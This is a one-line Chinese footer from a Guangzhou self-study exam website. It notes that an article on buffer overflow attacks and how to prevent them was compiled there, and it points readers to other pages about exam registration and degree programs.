以上是广州自考网(www.guangzhouzikao.com)整理的“缓冲区溢出攻击的分析及防范策略”相关资讯,如果您还想了解更多广州自考网、广州自考报名和广州自考本科的资讯,请浏览本站其它文章。